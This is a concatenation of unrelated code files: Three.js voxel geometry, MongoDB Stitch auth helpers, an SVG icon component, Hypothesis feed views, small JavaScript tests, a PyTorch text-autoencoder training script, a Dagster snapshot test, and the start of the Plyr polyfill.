if( changed ) {
console.log( "Actuallyupdated" );
buffer.markDirty();
}
}
}
buffer.makeVoxCube = function( size, voxelType ) {
var v1 = new THREE.Vector3(1,1,1);
var v2 = new THREE.Vector3(-1,1,1);
var v3 = new THREE.Vector3(1,-1,1);
var v4 = new THREE.Vector3(-1,-1,1);
var v5 = new THREE.Vector3(1,1,-1);
var v6 = new THREE.Vector3(-1,1,-1);
var v7 = new THREE.Vector3(1,-1,-1);
var v8 = new THREE.Vector3(-1,-1,-1);
var quad;
if( voxelType && voxelType.image
&& (( voxelType.properties.DrawInfo & Voxelarium.ZVOXEL_DRAWINFO_SHADER ) == 0 )
) {
const uvs = voxelType.textureCoords.uv_array;
buffer.addSimpleQuadTex( quad=[v1.clone().multiplyScalar(size),v2.clone().multiplyScalar(size),v3.clone().multiplyScalar(size),v4.clone().multiplyScalar(size)]
, uvs
, THREE.Vector3Forward
, 200 )
quad[0].delete(); quad[1].delete(); quad[2].delete(); quad[3].delete();
buffer.addSimpleQuadTex( quad = [v6.clone().multiplyScalar(size),v5.clone().multiplyScalar(size),v8.clone().multiplyScalar(size),v7.clone().multiplyScalar(size)]
, uvs
, THREE.Vector3Backward
, 200 )
quad[0].delete(); quad[1].delete(); quad[2].delete(); quad[3].delete();
buffer.addSimpleQuadTex( quad = [v5.clone().multiplyScalar(size),v6.clone().multiplyScalar(size),v1.clone().multiplyScalar(size),v2.clone().multiplyScalar(size)]
, uvs
, THREE.Vector3Up
, 200 )
quad[0].delete(); quad[1].delete(); quad[2].delete(); quad[3].delete();
buffer.addSimpleQuadTex( quad = [v3.clone().multiplyScalar(size),v4.clone().multiplyScalar(size),v7.clone().multiplyScalar(size),v8.clone().multiplyScalar(size)]
, uvs
, THREE.Vector3Down
, 200 )
quad[0].delete(); quad[1].delete(); quad[2].delete(); quad[3].delete();
buffer.addSimpleQuadTex( quad = [v5.clone().multiplyScalar(size),v1.clone().multiplyScalar(size),v7.clone().multiplyScalar(size),v3.clone().multiplyScalar(size)]
, uvs
, THREE.Vector3Right
, 200 )
quad[0].delete(); quad[1].delete(); quad[2].delete(); quad[3].delete();
buffer.addSimpleQuadTex( quad = [v2.clone().multiplyScalar(size),v6.clone().multiplyScalar(size),v4.clone().multiplyScalar(size),v8.clone().multiplyScalar(size)]
, uvs
, THREE.Vector3Left
, 200 )
quad[0].delete(); quad[1].delete(); quad[2].delete(); quad[3].delete();
}else {
buffer.addSimpleQuad( quad=[v1.clone().multiplyScalar(size),v2.clone().multiplyScalar(size),v3.clone().multiplyScalar(size),v4.clone().multiplyScalar(size)]
, voxelType && voxelType.properties.EdgeColor || new THREE.Vector4( 0.2, 0.0, 1, 1.0 )
, voxelType && voxelType.properties.FaceColor || new THREE.Vector4( 0, 0, 0, 0.5 )
, THREE.Vector3Forward
, 200 )
quad[0].delete(); quad[1].delete(); quad[2].delete(); quad[3].delete();
buffer.addSimpleQuad( quad = [v6.clone().multiplyScalar(size),v5.clone().multiplyScalar(size),v8.clone().multiplyScalar(size),v7.clone().multiplyScalar(size)]
, voxelType && voxelType.properties.EdgeColor || new THREE.Vector4( 0.2, 1, 0, 1.0 )
, voxelType && voxelType.properties.FaceColor || new THREE.Vector4( 0, 0, 0, 0.5 )
, THREE.Vector3Backward
, 200 )
quad[0].delete(); quad[1].delete(); quad[2].delete(); quad[3].delete();
buffer.addSimpleQuad( quad = [v5.clone().multiplyScalar(size),v6.clone().multiplyScalar(size),v1.clone().multiplyScalar(size),v2.clone().multiplyScalar(size)]
, voxelType && voxelType.properties.EdgeColor || new THREE.Vector4( 1, 0.0, 0, 1.0 )
, voxelType && voxelType.properties.FaceColor || new THREE.Vector4( 0, 0, 0, 0.5 )
, THREE.Vector3Up
, 200 )
quad[0].delete(); quad[1].delete(); quad[2].delete(); quad[3].delete();
buffer.addSimpleQuad( quad = [v3.clone().multiplyScalar(size),v4.clone().multiplyScalar(size),v7.clone().multiplyScalar(size),v8.clone().multiplyScalar(size)]
, voxelType && voxelType.properties.EdgeColor || new THREE.Vector4( 0, 1, 1, 1.0 )
, voxelType && voxelType.properties.FaceColor || new THREE.Vector4( 0, 0, 0, 0.5 )
, THREE.Vector3Down
, 200 )
quad[0].delete(); quad[1].delete(); quad[2].delete(); quad[3].delete();
buffer.addSimpleQuad( quad = [v5.clone().multiplyScalar(size),v1.clone().multiplyScalar(size),v7.clone().multiplyScalar(size),v3.clone().multiplyScalar(size)]
, voxelType && voxelType.properties.EdgeColor || new THREE.Vector4( 1, 0.0, 1, 1.0 )
, voxelType && voxelType.properties.FaceColor || new THREE.Vector4( 0, 0, 0, 0.5 )
, THREE.Vector3Right
, 200 )
quad[0].delete(); quad[1].delete(); quad[2].delete(); quad[3].delete();
buffer.addSimpleQuad( quad = [v2.clone().multiplyScalar(size),v6.clone().multiplyScalar(size),v4.clone().multiplyScalar(size),v8.clone().multiplyScalar(size)]
, voxelType && voxelType.properties.EdgeColor || new THREE.Vector4( 1, 1, 0, 1.0 )
, voxelType && voxelType.properties.FaceColor || new THREE.Vector4( 0, 0, 0, 0.5 )
, THREE.Vector3Left
, 200 )
quad[0].delete(); quad[1].delete(); quad[2].delete(); quad[3].delete();
}
this.markDirty( );
}
//var material = new THREE.MeshBasicMaterial( { color: 0xff0000 } );
//var mesh = new THREE.Mesh( geometry, material );
return buffer;
}
function updatePosition() {
buffer.geometry.attributes.position.needsUpdate = true;
}
|
import { useState, useEffect } from "react";
import { UserPasswordCredential, AnonymousCredential } from "mongodb-stitch-browser-sdk";
import {app} from "./stitch.js";
// Log in a user with the specified email and password
// Note: The user must already be registered with the Stitch app.
// See https://docs.mongodb.com/stitch/authentication/userpass/#create-a-new-user-account
export function loginEmailPasswordUser({ email, password }) {
return app.auth
.loginWithCredential(new UserPasswordCredential(email, password))
.then(stitchUser => {
console.log(`Logged in as: ${email}`);
return stitchUser;
});
}
// Log in a user anonymously.
// Note: When the user logs out, all data is lost.
// See https://docs.mongodb.com/stitch/authentication/anonymous/
export function loginAnonymous() {
return app.auth
.loginWithCredential(new AnonymousCredential())
.then(stitchUser => {
console.log(`Logged in as Anonymous`);
return stitchUser;
});
}
export function hasLoggedInUser() {
return app.auth.isLoggedIn;
}
export function getAllUsers() {
// Return a list of all users that are associated with the app
return app.auth.listUsers();
}
export function logoutUser(stitchUser) {
// Log a user out of the app. Logged out users are still associated with
// the app and will appear in the result of app.auth.listUsers()
return app.auth.logoutUserWithId(stitchUser.id);
}
export function isLoggedIn() {
return app.auth.isLoggedIn;
}
|
function SvgRotateRightTwoTone(props) {
return (
<svg
xmlns='http://www.w3.org/2000/svg'
height='1em'
viewBox='0 0 24 24'
width='1em'
className='svg-icon'
{...props}>
<path d='M0 0h24v24H0V0z' fill='none' />
<path d='M19.93 11a7.906 7.906 0 00-1.62-3.89l-1.42 1.42c.54.75.88 1.6 1.02 2.47h2.02zM11 1v3.07C7.06 4.56 4 7.92 4 12s3.05 7.44 7 7.93v-2.02c-2.84-.48-5-2.94-5-5.91s2.16-5.43 5-5.91V10l4.55-4.45L11 1zm4.46 15.87c-.75.54-1.59.89-2.46 1.03v2.02c1.39-.17 2.74-.71 3.9-1.61l-1.44-1.44zm2.85.02c.9-1.16 1.45-2.5 1.62-3.89h-2.02c-.14.87-.48 1.72-1.02 2.48l1.42 1.41z' />
</svg>
);
}
export default SvgRotateRightTwoTone;
|
from pyramid import i18n
from pyramid.view import view_config
from webob.multidict import MultiDict
from h import search
from h.feeds import render_atom, render_rss
from h.storage import fetch_ordered_annotations
_ = i18n.TranslationStringFactory(__package__)
def _annotations(request):
"""Return the annotations from the search API."""
s = search.Search(request)
result = s.run(MultiDict(request.params))
return fetch_ordered_annotations(request.db, result.annotation_ids)
@view_config(route_name="stream_atom")
def stream_atom(request):
"""An Atom feed of the /stream page."""
return render_atom(
request=request,
annotations=_annotations(request),
atom_url=request.route_url("stream_atom"),
html_url=request.route_url("stream"),
title=request.registry.settings.get("h.feed.title"),
subtitle=request.registry.settings.get("h.feed.subtitle"),
)
@view_config(route_name="stream_rss")
def stream_rss(request):
"""An RSS feed of the /stream page."""
return render_rss(
request=request,
annotations=_annotations(request),
rss_url=request.route_url("stream_rss"),
html_url=request.route_url("stream"),
title=request.registry.settings.get("h.feed.title") or _("Hypothesis Stream"),
description=request.registry.settings.get("h.feed.description")
or _("The Web. Annotated"),
)
|
import { describe, expect, it } from 'vitest';
import { pairSum } from '../pair-sum';
describe('pairSum', () => {
it('', () => {
expect(pairSum([5, 4, 2, 1])).toEqual(6);
});
it('', () => {
expect(pairSum([4, 2, 2, 3])).toEqual(7);
});
it('', () => {
expect(pairSum([1, 100000])).toEqual(100001);
});
});
|
/* @jsx execute */
const execute = (fun, props, children) => {
fun()
}
const SayHello = () => console.log('Hello!')
const getContent = () => {
return (
<SayHello />
);
}
getContent()
|
import orm from 'store/models' // this initializes redux-orm
describe('getContent', () => {
it('fetches the correct model based on polymorphicId', () => {
const session = orm.session(orm.getEmptyState())
const id = '2'
const title = 'Hey'
session.Post.create({
id, title
})
session.Post.create({
id: '1', title: 'hi'
})
session.Comment.create({
id, text: 'hello'
})
session.SearchResult.create({
id: '3',
content: `Post-${id}`
})
const content = session.SearchResult.withId('3').getContent(session)
expect(content.id).toEqual(id)
expect(content.title).toEqual(title)
})
})
|
import argparse
import time
import os
import random
import collections
import numpy as np
import torch
from model import DAE, VAE, AAE
from vocab import Vocab
from meter import AverageMeter
from utils import set_seed, logging, load_sent
from batchify import get_batches
parser = argparse.ArgumentParser()
# Path arguments
parser.add_argument('--train', metavar='FILE', required=True,
help='path to training file')
parser.add_argument('--valid', metavar='FILE', required=True,
help='path to validation file')
parser.add_argument('--save-dir', default='checkpoints', metavar='DIR',
help='directory to save checkpoints and outputs')
parser.add_argument('--load-model', default='', metavar='FILE',
help='path to load checkpoint if specified')
# Architecture arguments
parser.add_argument('--vocab-size', type=int, default=10000, metavar='N',
help='keep N most frequent words in vocabulary')
parser.add_argument('--dim_z', type=int, default=64, metavar='D',
help='dimension of latent variable z')
parser.add_argument('--dim_emb', type=int, default=256, metavar='D',
help='dimension of word embedding')
parser.add_argument('--dim_h', type=int, default=1024, metavar='D',
help='dimension of hidden state per layer')
parser.add_argument('--nlayers', type=int, default=1, metavar='N',
help='number of layers')
parser.add_argument('--dim_d', type=int, default=512, metavar='D',
help='dimension of hidden state in AAE discriminator')
# Model arguments
parser.add_argument('--model_type', default='dae', metavar='M',
choices=['dae', 'vae', 'aae'],
help='which model to learn')
parser.add_argument('--lambda_kl', type=float, default=0, metavar='R',
help='weight for kl term in VAE')
parser.add_argument('--lambda_adv', type=float, default=0, metavar='R',
help='weight for adversarial loss in AAE')
parser.add_argument('--lambda_p', type=float, default=0, metavar='R',
help='weight for L1 penalty on posterior log-variance')
parser.add_argument('--noise', default='0,0,0,0', metavar='P,P,P,K',
help='word drop prob, blank prob, substitute prob'
'max word shuffle distance')
# Training arguments
parser.add_argument('--dropout', type=float, default=0.5, metavar='DROP',
help='dropout probability (0 = no dropout)')
parser.add_argument('--lr', type=float, default=0.0005, metavar='LR',
help='learning rate')
#parser.add_argument('--clip', type=float, default=0.25, metavar='NORM',
# help='gradient clipping')
parser.add_argument('--epochs', type=int, default=10, metavar='N',
help='number of training epochs')
parser.add_argument('--batch-size', type=int, default=256, metavar='N',
help='batch size')
# Others
parser.add_argument('--seed', type=int, default=1111, metavar='N',
help='random seed')
parser.add_argument('--no-cuda', action='store_true',
help='disable CUDA')
parser.add_argument('--log-interval', type=int, default=100, metavar='N',
help='report interval')
def evaluate(model, batches):
model.eval()
meters = collections.defaultdict(lambda: AverageMeter())
with torch.no_grad():
for inputs, targets in batches:
losses = model.autoenc(inputs, targets)
for k, v in losses.items():
meters[k].update(v.item(), inputs.size(1))
loss = model.loss({k: meter.avg for k, meter in meters.items()})
meters['loss'].update(loss)
return meters
def main(args):
if not os.path.exists(args.save_dir):
os.makedirs(args.save_dir)
log_file = os.path.join(args.save_dir, 'log.txt')
logging(str(args), log_file)
# Prepare data
train_sents = load_sent(args.train)
logging('# train sents {}, tokens {}'.format(
len(train_sents), sum(len(s) for s in train_sents)), log_file)
valid_sents = load_sent(args.valid)
logging('# valid sents {}, tokens {}'.format(
len(valid_sents), sum(len(s) for s in valid_sents)), log_file)
vocab_file = os.path.join(args.save_dir, 'vocab.txt')
if not os.path.isfile(vocab_file):
Vocab.build(train_sents, vocab_file, args.vocab_size)
vocab = Vocab(vocab_file)
logging('# vocab size {}'.format(vocab.size), log_file)
set_seed(args.seed)
cuda = not args.no_cuda and torch.cuda.is_available()
device = torch.device('cuda' if cuda else 'cpu')
model = {'dae': DAE, 'vae': VAE, 'aae': AAE}[args.model_type](
vocab, args).to(device)
if args.load_model:
ckpt = torch.load(args.load_model)
model.load_state_dict(ckpt['model'])
model.flatten()
logging('# model parameters: {}'.format(
sum(x.data.nelement() for x in model.parameters())), log_file)
train_batches, _ = get_batches(train_sents, vocab, args.batch_size, device)
valid_batches, _ = get_batches(valid_sents, vocab, args.batch_size, device)
best_val_loss = None
for epoch in range(args.epochs):
start_time = time.time()
logging('-' * 80, log_file)
model.train()
meters = collections.defaultdict(lambda: AverageMeter())
indices = list(range(len(train_batches)))
random.shuffle(indices)
for i, idx in enumerate(indices):
inputs, targets = train_batches[idx]
losses = model.autoenc(inputs, targets, is_train=True)
losses['loss'] = model.loss(losses)
model.step(losses)
for k, v in losses.items():
meters[k].update(v.item())
if (i + 1) % args.log_interval == 0:
log_output = '| epoch {:3d} | {:5d}/{:5d} batches |'.format(
epoch + 1, i + 1, len(indices))
for k, meter in meters.items():
log_output += ' {} {:.2f},'.format(k, meter.avg)
meter.clear()
logging(log_output, log_file)
valid_meters = evaluate(model, valid_batches)
logging('-' * 80, log_file)
log_output = '| end of epoch {:3d} | time {:5.0f}s | valid'.format(
epoch + 1, time.time() - start_time)
for k, meter in valid_meters.items():
log_output += ' {} {:.2f},'.format(k, meter.avg)
if not best_val_loss or valid_meters['loss'].avg < best_val_loss:
log_output += ' | saving model'
ckpt = {'args': args, 'model': model.state_dict()}
torch.save(ckpt, os.path.join(args.save_dir, 'model.pt'))
best_val_loss = valid_meters['loss'].avg
logging(log_output, log_file)
logging('Done training', log_file)
if __name__ == '__main__':
args = parser.parse_args()
args.noise = [float(x) for x in args.noise.split(',')]
main(args)
|
# -*- coding: utf-8 -*-
# snapshottest: v1 - https://goo.gl/zC4yUc
from __future__ import unicode_literals
from snapshottest import Snapshot
snapshots = Snapshot()
snapshots['test_query_all_solids 1'] = {
'repositoryOrError': {
'usedSolids': [
{
'__typename': 'UsedSolid',
'definition': {
'name': 'a_solid_with_multilayered_config'
},
'invocations': [
{
'pipeline': {
'name': 'more_complicated_nested_config'
},
'solidHandle': {
'handleID': 'a_solid_with_multilayered_config'
}
}
]
},
{
'__typename': 'UsedSolid',
'definition': {
'name': 'a_solid_with_three_field_config'
},
'invocations': [
{
'pipeline': {
'name': 'more_complicated_config'
},
'solidHandle': {
'handleID': 'a_solid_with_three_field_config'
}
}
]
},
{
'__typename': 'UsedSolid',
'definition': {
'name': 'add_four'
},
'invocations': [
{
'pipeline': {
'name': 'composites_pipeline'
},
'solidHandle': {
'handleID': 'add_four'
}
}
]
},
{
'__typename': 'UsedSolid',
'definition': {
'name': 'add_one'
},
'invocations': [
{
'pipeline': {
'name': 'composites_pipeline'
},
'solidHandle': {
'handleID': 'add_four.adder_1.adder_1'
}
},
{
'pipeline': {
'name': 'composites_pipeline'
},
'solidHandle': {
'handleID': 'add_four.adder_1.adder_2'
}
},
{
'pipeline': {
'name': 'composites_pipeline'
},
'solidHandle': {
'handleID': 'add_four.adder_2.adder_1'
}
},
{
'pipeline': {
'name': 'composites_pipeline'
},
'solidHandle': {
'handleID': 'add_four.adder_2.adder_2'
}
}
]
},
{
'__typename': 'UsedSolid',
'definition': {
'name': 'add_two'
},
'invocations': [
{
'pipeline': {
'name': 'composites_pipeline'
},
'solidHandle': {
'handleID': 'add_four.adder_1'
}
},
{
'pipeline': {
'name': 'composites_pipeline'
},
'solidHandle': {
'handleID': 'add_four.adder_2'
}
}
]
},
{
'__typename': 'UsedSolid',
'definition': {
'name': 'after_failure'
},
'invocations': [
{
'pipeline': {
'name': 'chained_failure_pipeline'
},
'solidHandle': {
'handleID': 'after_failure'
}
}
]
},
{
'__typename': 'UsedSolid',
'definition': {
'name': 'always_succeed'
},
'invocations': [
{
'pipeline': {
'name': 'chained_failure_pipeline'
},
'solidHandle': {
'handleID': 'always_succeed'
}
}
]
},
{
'__typename': 'UsedSolid',
'definition': {
'name': 'apply_to_three'
},
'invocations': [
{
'pipeline': {
'name': 'multi_mode_with_resources'
},
'solidHandle': {
'handleID': 'apply_to_three'
}
}
]
},
{
'__typename': 'UsedSolid',
'definition': {
'name': 'can_fail'
},
'invocations': [
{
'pipeline': {
'name': 'retry_multi_output_pipeline'
},
'solidHandle': {
'handleID': 'can_fail'
}
}
]
},
{
'__typename': 'UsedSolid',
'definition': {
'name': 'conditionally_fail'
},
'invocations': [
{
'pipeline': {
'name': 'chained_failure_pipeline'
},
'solidHandle': {
'handleID': 'conditionally_fail'
}
}
]
},
{
'__typename': 'UsedSolid',
'definition': {
'name': 'df_expectations_solid'
},
'invocations': [
{
'pipeline': {
'name': 'csv_hello_world_with_expectations'
},
'solidHandle': {
'handleID': 'df_expectations_solid'
}
}
]
},
{
'__typename': 'UsedSolid',
'definition': {
'name': 'div_four'
},
'invocations': [
{
'pipeline': {
'name': 'composites_pipeline'
},
'solidHandle': {
'handleID': 'div_four'
}
}
]
},
{
'__typename': 'UsedSolid',
'definition': {
'name': 'div_two'
},
'invocations': [
{
'pipeline': {
'name': 'composites_pipeline'
},
'solidHandle': {
'handleID': 'div_four.div_1'
}
},
{
'pipeline': {
'name': 'composites_pipeline'
},
'solidHandle': {
'handleID': 'div_four.div_2'
}
}
]
},
{
'__typename': 'UsedSolid',
'definition': {
'name': 'emit'
},
'invocations': [
{
'pipeline': {
'name': 'dynamic_pipeline'
},
'solidHandle': {
'handleID': 'emit'
}
}
]
},
{
'__typename': 'UsedSolid',
'definition': {
'name': 'emit_failed_expectation'
},
'invocations': [
{
'pipeline': {
'name': 'pipeline_with_expectations'
},
'solidHandle': {
'handleID': 'emit_failed_expectation'
}
}
]
},
{
'__typename': 'UsedSolid',
'definition': {
'name': 'emit_successful_expectation'
},
'invocations': [
{
'pipeline': {
'name': 'pipeline_with_expectations'
},
'solidHandle': {
'handleID': 'emit_successful_expectation'
}
}
]
},
{
'__typename': 'UsedSolid',
'definition': {
'name': 'emit_successful_expectation_no_metadata'
},
'invocations': [
{
'pipeline': {
'name': 'pipeline_with_expectations'
},
'solidHandle': {
'handleID': 'emit_successful_expectation_no_metadata'
}
}
]
},
{
'__typename': 'UsedSolid',
'definition': {
'name': 'emit_ten'
},
'invocations': [
{
'pipeline': {
'name': 'dynamic_pipeline'
},
'solidHandle': {
'handleID': 'emit_ten'
}
}
]
},
{
'__typename': 'UsedSolid',
'definition': {
'name': 'fail'
},
'invocations': [
{
'pipeline': {
'name': 'eventually_successful'
},
'solidHandle': {
'handleID': 'fail'
}
},
{
'pipeline': {
'name': 'eventually_successful'
},
'solidHandle': {
'handleID': 'fail_2'
}
},
{
'pipeline': {
'name': 'eventually_successful'
},
'solidHandle': {
'handleID': 'fail_3'
}
}
]
},
{
'__typename': 'UsedSolid',
'definition': {
'name': 'fail_subset'
},
'invocations': [
{
'pipeline': {
'name': 'pipeline_with_invalid_definition_error'
},
'solidHandle': {
'handleID': 'fail_subset'
}
}
]
},
{
'__typename': 'UsedSolid',
'definition': {
'name': 'get_input_one'
},
'invocations': [
{
'pipeline': {
'name': 'retry_multi_input_early_terminate_pipeline'
},
'solidHandle': {
'handleID': 'get_input_one'
}
}
]
},
{
'__typename': 'UsedSolid',
'definition': {
'name': 'get_input_two'
},
'invocations': [
{
'pipeline': {
'name': 'retry_multi_input_early_terminate_pipeline'
},
'solidHandle': {
'handleID': 'get_input_two'
}
}
]
},
{
'__typename': 'UsedSolid',
'definition': {
'name': 'hard_fail_or_0'
},
'invocations': [
{
'pipeline': {
'name': 'hard_failer'
},
'solidHandle': {
'handleID': 'hard_fail_or_0'
}
}
]
},
{
'__typename': 'UsedSolid',
'definition': {
'name': 'increment'
},
'invocations': [
{
'pipeline': {
'name': 'hard_failer'
},
'solidHandle': {
'handleID': 'increment'
}
}
]
},
{
'__typename': 'UsedSolid',
'definition': {
'name': 'loop'
},
'invocations': [
{
'pipeline': {
'name': 'infinite_loop_pipeline'
},
'solidHandle': {
'handleID': 'loop'
}
}
]
},
{
'__typename': 'UsedSolid',
'definition': {
'name': 'materialize'
},
'invocations': [
{
'pipeline': {
'name': 'materialization_pipeline'
},
'solidHandle': {
'handleID': 'materialize'
}
}
]
},
{
'__typename': 'UsedSolid',
'definition': {
'name': 'multi'
},
'invocations': [
{
'pipeline': {
'name': 'retry_multi_output_pipeline'
},
'solidHandle': {
'handleID': 'multi'
}
}
]
},
{
'__typename': 'UsedSolid',
'definition': {
'name': 'multiply_by_two'
},
'invocations': [
{
'pipeline': {
'name': 'dynamic_pipeline'
},
'solidHandle': {
'handleID': 'multiply_by_two'
}
}
]
},
{
'__typename': 'UsedSolid',
'definition': {
'name': 'multiply_inputs'
},
'invocations': [
{
'pipeline': {
'name': 'dynamic_pipeline'
},
'solidHandle': {
'handleID': 'multiply_inputs'
}
}
]
},
{
'__typename': 'UsedSolid',
'definition': {
'name': 'no_output'
},
'invocations': [
{
'pipeline': {
'name': 'retry_multi_output_pipeline'
},
'solidHandle': {
'handleID': 'child_multi_skip'
}
},
{
'pipeline': {
'name': 'retry_multi_output_pipeline'
},
'solidHandle': {
'handleID': 'child_skip'
}
},
{
'pipeline': {
'name': 'retry_multi_output_pipeline'
},
'solidHandle': {
'handleID': 'grandchild_fail'
}
}
]
},
{
'__typename': 'UsedSolid',
'definition': {
'name': 'noop_solid'
},
'invocations': [
{
'pipeline': {
'name': 'more_complicated_config'
},
'solidHandle': {
'handleID': 'noop_solid'
}
},
{
'pipeline': {
'name': 'noop_pipeline'
},
'solidHandle': {
'handleID': 'noop_solid'
}
}
]
},
{
'__typename': 'UsedSolid',
'definition': {
'name': 'one'
},
'invocations': [
{
'pipeline': {
'name': 'pipeline_with_invalid_definition_error'
},
'solidHandle': {
'handleID': 'one'
}
}
]
},
{
'__typename': 'UsedSolid',
'definition': {
'name': 'passthrough'
},
'invocations': [
{
'pipeline': {
'name': 'retry_multi_output_pipeline'
},
'solidHandle': {
'handleID': 'child_fail'
}
}
]
},
{
'__typename': 'UsedSolid',
'definition': {
'name': 'reset'
},
'invocations': [
{
'pipeline': {
'name': 'eventually_successful'
},
'solidHandle': {
'handleID': 'reset'
}
}
]
},
{
'__typename': 'UsedSolid',
'definition': {
'name': 'return_any'
},
'invocations': [
{
'pipeline': {
'name': 'scalar_output_pipeline'
},
'solidHandle': {
'handleID': 'return_any'
}
}
]
},
{
'__typename': 'UsedSolid',
'definition': {
'name': 'return_bool'
},
'invocations': [
{
'pipeline': {
'name': 'scalar_output_pipeline'
},
'solidHandle': {
'handleID': 'return_bool'
}
}
]
},
{
'__typename': 'UsedSolid',
'definition': {
'name': 'return_foo'
},
'invocations': [
{
'pipeline': {
'name': 'no_config_chain_pipeline'
},
'solidHandle': {
'handleID': 'return_foo'
}
}
]
},
{
'__typename': 'UsedSolid',
'definition': {
'name': 'return_hello'
},
'invocations': [
{
'pipeline': {
'name': 'no_config_pipeline'
},
'solidHandle': {
'handleID': 'return_hello'
}
}
]
},
{
'__typename': 'UsedSolid',
'definition': {
'name': 'return_hello_world'
},
'invocations': [
{
'pipeline': {
'name': 'no_config_chain_pipeline'
},
'solidHandle': {
'handleID': 'return_hello_world'
}
}
]
},
{
'__typename': 'UsedSolid',
'definition': {
'name': 'return_int'
},
'invocations': [
{
'pipeline': {
'name': 'scalar_output_pipeline'
},
'solidHandle': {
'handleID': 'return_int'
}
}
]
},
{
'__typename': 'UsedSolid',
'definition': {
'name': 'return_one'
},
'invocations': [
{
'pipeline': {
'name': 'retry_multi_input_early_terminate_pipeline'
},
'solidHandle': {
'handleID': 'return_one'
}
}
]
},
{
'__typename': 'UsedSolid',
'definition': {
'name': 'return_six'
},
'invocations': [
{
'pipeline': {
'name': 'multi_mode_with_loggers'
},
'solidHandle': {
'handleID': 'return_six'
}
}
]
},
{
'__typename': 'UsedSolid',
'definition': {
'name': 'return_str'
},
'invocations': [
{
'pipeline': {
'name': 'scalar_output_pipeline'
},
'solidHandle': {
'handleID': 'return_str'
}
}
]
},
{
'__typename': 'UsedSolid',
'definition': {
'name': 'simple_solid'
},
'invocations': [
{
'pipeline': {
'name': 'tagged_pipeline'
},
'solidHandle': {
'handleID': 'simple_solid'
}
}
]
},
{
'__typename': 'UsedSolid',
'definition': {
'name': 'solid_asset_a'
},
'invocations': [
{
'pipeline': {
'name': 'multi_asset_pipeline'
},
'solidHandle': {
'handleID': 'solid_asset_a'
}
},
{
'pipeline': {
'name': 'single_asset_pipeline'
},
'solidHandle': {
'handleID': 'solid_asset_a'
}
}
]
},
{
'__typename': 'UsedSolid',
'definition': {
'name': 'solid_asset_b'
},
'invocations': [
{
'pipeline': {
'name': 'multi_asset_pipeline'
},
'solidHandle': {
'handleID': 'solid_asset_b'
}
}
]
},
{
'__typename': 'UsedSolid',
'definition': {
'name': 'solid_partitioned_asset'
},
'invocations': [
{
'pipeline': {
'name': 'partitioned_asset_pipeline'
},
'solidHandle': {
'handleID': 'solid_partitioned_asset'
}
}
]
},
{
'__typename': 'UsedSolid',
'definition': {
'name': 'solid_that_gets_tags'
},
'invocations': [
{
'pipeline': {
'name': 'hello_world_with_tags'
},
'solidHandle': {
'handleID': 'solid_that_gets_tags'
}
}
]
},
{
'__typename': 'UsedSolid',
'definition': {
'name': 'solid_with_list'
},
'invocations': [
{
'pipeline': {
'name': 'pipeline_with_list'
},
'solidHandle': {
'handleID': 'solid_with_list'
}
}
]
},
{
'__typename': 'UsedSolid',
'definition': {
'name': 'solid_with_required_resource'
},
'invocations': [
{
'pipeline': {
'name': 'required_resource_pipeline'
},
'solidHandle': {
'handleID': 'solid_with_required_resource'
}
}
]
},
{
'__typename': 'UsedSolid',
'definition': {
'name': 'spawn'
},
'invocations': [
{
'pipeline': {
'name': 'eventually_successful'
},
'solidHandle': {
'handleID': 'spawn'
}
}
]
},
{
'__typename': 'UsedSolid',
'definition': {
'name': 'spew'
},
'invocations': [
{
'pipeline': {
'name': 'spew_pipeline'
},
'solidHandle': {
'handleID': 'spew'
}
}
]
},
{
'__typename': 'UsedSolid',
'definition': {
'name': 'start'
},
'invocations': [
{
'pipeline': {
'name': 'retry_resource_pipeline'
},
'solidHandle': {
'handleID': 'start'
}
}
]
},
{
'__typename': 'UsedSolid',
'definition': {
'name': 'sum_inputs'
},
'invocations': [
{
'pipeline': {
'name': 'retry_multi_input_early_terminate_pipeline'
},
'solidHandle': {
'handleID': 'sum_inputs'
}
}
]
},
{
'__typename': 'UsedSolid',
'definition': {
'name': 'sum_solid'
},
'invocations': [
{
'pipeline': {
'name': 'csv_hello_world'
},
'solidHandle': {
'handleID': 'sum_solid'
}
},
{
'pipeline': {
'name': 'csv_hello_world_df_input'
},
'solidHandle': {
'handleID': 'sum_solid'
}
},
{
'pipeline': {
'name': 'csv_hello_world_two'
},
'solidHandle': {
'handleID': 'sum_solid'
}
},
{
'pipeline': {
'name': 'csv_hello_world_with_expectations'
},
'solidHandle': {
'handleID': 'sum_solid'
}
}
]
},
{
'__typename': 'UsedSolid',
'definition': {
'name': 'sum_sq_solid'
},
'invocations': [
{
'pipeline': {
'name': 'csv_hello_world'
},
'solidHandle': {
'handleID': 'sum_sq_solid'
}
},
{
'pipeline': {
'name': 'csv_hello_world_df_input'
},
'solidHandle': {
'handleID': 'sum_sq_solid'
}
},
{
'pipeline': {
'name': 'csv_hello_world_with_expectations'
},
'solidHandle': {
'handleID': 'sum_sq_solid'
}
}
]
},
{
'__typename': 'UsedSolid',
'definition': {
'name': 'takes_an_enum'
},
'invocations': [
{
'pipeline': {
'name': 'pipeline_with_enum_config'
},
'solidHandle': {
'handleID': 'takes_an_enum'
}
}
]
},
{
'__typename': 'UsedSolid',
'definition': {
'name': 'throw_a_thing'
},
'invocations': [
{
'pipeline': {
'name': 'naughty_programmer_pipeline'
},
'solidHandle': {
'handleID': 'throw_a_thing'
}
}
]
},
{
'__typename': 'UsedSolid',
'definition': {
'name': 'will_fail'
},
'invocations': [
{
'pipeline': {
'name': 'retry_resource_pipeline'
},
'solidHandle': {
'handleID': 'will_fail'
}
}
]
}
]
}
}
|
export { default as Features } from './Features';
export { default as Folio } from './Folio';
export { default as Gallery } from './Gallery';
export { default as Hero } from './Hero';
export { default as Services } from './Services';
|
typeof navigator === "object" && (function (global, factory) {
typeof exports === 'object' && typeof module !== 'undefined' ? module.exports = factory() :
typeof define === 'function' && define.amd ? define('Plyr', factory) :
(global = typeof globalThis !== 'undefined' ? globalThis : global || self, global.Plyr = factory());
}(this, (function () { 'use strict';
// Polyfill for creating CustomEvents on IE9/10/11
// code pulled from:
// https://github.com/d4tocchini/customevent-polyfill
// https://developer.mozilla.org/en-US/docs/Web/API/CustomEvent#Polyfill
(function () {
if (typeof window === 'undefined') {
return;
}
try {
var ce = new window.CustomEvent('test', {
cancelable: true
});
ce.preventDefault();
if (ce.defaultPrevented !== true) {
// IE has problems with .preventDefault() on custom events
// http://stackoverflow.com/questions/23349191
throw new Error('Could not prevent default');
}
} catch (e) {
var CustomEvent = function CustomEvent(event, params) {
var evt, origPrevent;
params = params || {};
params.bubbles = !!params.bubbles;
params.cancelable = !!params.cancelable;
evt = document.createEvent('CustomEvent');
